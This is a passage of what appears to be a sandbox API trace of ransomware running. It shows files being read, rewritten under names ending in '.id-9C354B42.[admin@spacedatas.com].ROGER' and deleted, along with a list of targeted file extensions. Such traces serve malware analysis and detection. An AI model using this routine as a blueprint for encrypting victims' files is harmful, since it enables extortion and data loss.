Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0048.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.955] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.955] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.957] GetLastError () returned 0x0 [0048.957] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xf82, lpOverlapped=0x0) returned 1 [0048.958] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf90, lpOverlapped=0x0) returned 1 [0048.959] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.959] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.959] SetEndOfFile (hFile=0x3a0) returned 1 [0048.960] CloseHandle (hObject=0x3a0) returned 1 [0048.960] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.960] SetEndOfFile (hFile=0x3dc) returned 1 [0048.960] CloseHandle (hObject=0x3dc) returned 1 [0048.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.961] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0048.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.961] lstrlenW (lpString=".doc") returned 4 [0048.961] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.961] lstrlenW (lpString=".docx") returned 5 [0048.961] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.961] lstrlenW (lpString=".pdf") returned 4 [0048.961] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.961] lstrlenW (lpString=".xls") returned 4 [0048.961] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.961] lstrlenW (lpString=".xlsx") returned 5 [0048.961] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.961] lstrlenW (lpString=".ppt") returned 4 [0048.961] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.961] lstrlenW (lpString=".zip") returned 4 [0048.961] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.961] lstrlenW (lpString=".rar") returned 4 [0048.961] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.962] lstrlenW (lpString=".bz2") returned 4 [0048.962] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.962] lstrlenW (lpString=".7z") returned 3 [0048.962] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.962] lstrlenW (lpString=".dbf") returned 4 [0048.962] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.962] lstrlenW (lpString=".1cd") returned 4 [0048.962] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.962] lstrlenW (lpString=".jpg") returned 4 [0048.962] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.962] lstrlenW (lpString=".doc") returned 4 [0048.962] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.962] lstrlenW (lpString=".docx") returned 5 [0048.962] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.962] lstrlenW (lpString=".pdf") returned 4 [0048.962] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.962] lstrlenW (lpString=".xls") returned 4 [0048.962] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.962] lstrlenW (lpString=".xlsx") returned 5 [0048.962] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.962] lstrlenW (lpString=".ppt") returned 4 [0048.962] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.962] lstrlenW (lpString=".zip") returned 4 [0048.962] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.962] lstrlenW (lpString=".rar") returned 4 [0048.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.963] lstrlenW (lpString=".bz2") returned 4 [0048.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.963] lstrlenW (lpString=".7z") returned 3 [0048.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.963] lstrlenW (lpString=".dbf") returned 4 [0048.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.963] lstrlenW (lpString=".1cd") returned 4 [0048.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0048.963] lstrlenW (lpString=".jpg") returned 4 [0048.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.963] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.963] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.963] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=53115) returned 1 [0048.964] CloseHandle (hObject=0x3dc) returned 1 [0048.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0048.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.971] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.971] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.971] GetLastError () returned 0x0 [0048.971] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0048.974] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0048.975] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.975] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.975] SetEndOfFile (hFile=0x3a0) returned 1 [0048.975] CloseHandle (hObject=0x3a0) returned 1 [0048.976] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.976] SetEndOfFile (hFile=0x3dc) returned 1 [0048.977] CloseHandle (hObject=0x3dc) returned 1 [0048.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0048.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.977] lstrlenW (lpString=".doc") returned 4 [0048.977] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.977] lstrlenW (lpString=".docx") returned 5 [0048.977] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.977] lstrlenW (lpString=".pdf") returned 4 [0048.977] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.977] lstrlenW (lpString=".xls") returned 4 [0048.977] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.977] lstrlenW (lpString=".xlsx") returned 5 [0048.977] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.977] lstrlenW (lpString=".ppt") returned 4 [0048.978] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.978] lstrlenW (lpString=".zip") returned 4 [0048.978] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.978] lstrlenW (lpString=".rar") returned 4 [0048.978] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.978] lstrlenW (lpString=".bz2") returned 4 [0048.978] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.978] lstrlenW (lpString=".7z") returned 3 [0048.978] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.978] lstrlenW (lpString=".dbf") returned 4 [0048.978] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.978] lstrlenW (lpString=".1cd") returned 4 [0048.978] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.978] lstrlenW (lpString=".jpg") returned 4 [0048.978] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.978] lstrlenW (lpString=".doc") returned 4 [0048.978] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.978] lstrlenW (lpString=".docx") returned 5 [0048.978] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.978] lstrlenW (lpString=".pdf") returned 4 [0048.978] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.978] lstrlenW (lpString=".xls") returned 4 [0048.978] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.978] lstrlenW (lpString=".xlsx") returned 5 [0048.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.979] lstrlenW (lpString=".ppt") returned 4 [0048.979] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.979] lstrlenW (lpString=".zip") returned 4 [0048.979] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.979] lstrlenW (lpString=".rar") returned 4 [0048.979] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.979] lstrlenW (lpString=".bz2") returned 4 [0048.979] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.979] lstrlenW (lpString=".7z") returned 3 [0048.979] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.979] lstrlenW (lpString=".dbf") returned 4 [0048.979] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.979] lstrlenW (lpString=".1cd") returned 4 [0048.979] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.979] lstrlenW (lpString=".jpg") returned 4 [0048.979] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.979] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.979] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.980] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=2604) returned 1 [0048.980] CloseHandle (hObject=0x3dc) returned 1 [0048.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0048.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.980] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.980] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.982] GetLastError () returned 0x0 [0048.982] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xa2c, lpOverlapped=0x0) returned 1 [0048.983] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xa30, lpOverlapped=0x0) returned 1 [0048.984] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.984] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.984] SetEndOfFile (hFile=0x3a0) returned 1 [0048.985] CloseHandle (hObject=0x3a0) returned 1 [0048.985] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.985] SetEndOfFile (hFile=0x3dc) returned 1 [0048.986] CloseHandle (hObject=0x3dc) returned 1 [0048.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.986] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0048.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.986] lstrlenW (lpString=".doc") returned 4 [0048.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.986] lstrlenW (lpString=".docx") returned 5 [0048.986] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.986] lstrlenW (lpString=".pdf") returned 4 [0048.986] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.986] lstrlenW (lpString=".xls") returned 4 [0048.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.986] lstrlenW (lpString=".xlsx") returned 5 [0048.986] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.986] lstrlenW (lpString=".ppt") returned 4 [0048.986] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.987] lstrlenW (lpString=".zip") returned 4 [0048.987] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.987] lstrlenW (lpString=".rar") returned 4 [0048.987] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.987] lstrlenW (lpString=".bz2") returned 4 [0048.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.987] lstrlenW (lpString=".7z") returned 3 [0048.987] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.987] lstrlenW (lpString=".dbf") returned 4 [0048.987] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.987] lstrlenW (lpString=".1cd") returned 4 [0048.987] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.987] lstrlenW (lpString=".jpg") returned 4 [0048.987] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.987] lstrlenW (lpString=".doc") returned 4 [0048.987] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.987] lstrlenW (lpString=".docx") returned 5 [0048.987] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.987] lstrlenW (lpString=".pdf") returned 4 [0048.987] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.987] lstrlenW (lpString=".xls") returned 4 [0048.987] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.987] lstrlenW (lpString=".xlsx") returned 5 [0048.987] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.987] lstrlenW (lpString=".ppt") returned 4 [0048.988] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.988] lstrlenW (lpString=".zip") returned 4 [0048.988] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.988] lstrlenW (lpString=".rar") returned 4 [0048.988] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.988] lstrlenW (lpString=".bz2") returned 4 [0048.988] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.988] lstrlenW (lpString=".7z") returned 3 [0049.128] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0049.128] lstrlenW (lpString=".dbf") returned 4 [0049.129] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0049.129] lstrlenW (lpString=".1cd") returned 4 [0049.129] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0049.129] lstrlenW (lpString=".jpg") returned 4 [0049.129] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.129] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.129] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 